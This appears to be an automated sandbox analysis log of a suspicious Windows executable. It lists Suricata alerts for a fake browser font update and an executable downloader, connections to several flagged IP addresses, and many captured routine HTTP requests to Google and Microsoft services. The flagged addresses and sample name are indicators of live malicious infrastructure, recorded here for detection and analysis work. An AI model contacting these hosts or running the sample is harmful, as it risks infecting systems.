Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50018 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50019 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50020 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50022 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50024 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50025 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50026 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50027 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50029 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50032 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50034 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50036 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50038 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50083 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50094 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50139 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50144 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50116 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:50154 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50140 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50153 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:50142 -> 104.21.80.55:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:59641 -> 13.89.179.11:443

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsGHIDGDHCGC.exe

Code function: 20_2_0075E0C0 recv,recv,recv,recv,

20_2_0075E0C0

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIk6HLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCI/KzQEIucrNAQi/0c0BCIrTzQEI0NbNAQio2M0BCPnA1BUYj87NARi60s0BGMLYzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=XY33fgKV3AaPfLb&MD=S5gemAFW HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1Host: api.edgeoffer.microsoft.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AW50ZFuKxXfmS97pgdN117JdnzteDOW0nOxXPbIMSOJi_zMXlj_Y84pRZgGX1_WSw7i6yKhrqpdS319KewJbpE_4ZxBd62lsUferdiEuq7Yg9JR92C5gtrLldrMl4JgnY0IAxlKa5RR9kAwB758lMbnQOIDqR06lx1aH/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1732288585&P2=404&P3=2&P4=W1KtPq7HgPh1VijiGtjyKYM8qq3AvOEPBxT2jACsz3TMbVLhGSmcWaU516WMv83Kg%2fQ2eQ%2fU4txYrMxOUacMng%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: IVdfMRJtev1YeOdfcjEZfMSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /b?rn=1731683788796&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=078A6178E4B266BF224E7440E5C7676D&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1731683788795&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=3401cc7bbd34493991b5e892ac0c3af8&activityId=3401cc7bbd34493991b5e892ac0c3af8&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=078A6178E4B266BF224E7440E5C7676D&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=6686581979505309747&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=0cd2d91502dc4d68b54d691fb2936b77 HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; USRLOC=; MUID=078A6178E4B266BF224E7440E5C7676D; _EDGE_S=F=1&SID=003CD0784E846A291319C5404F576B6A; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
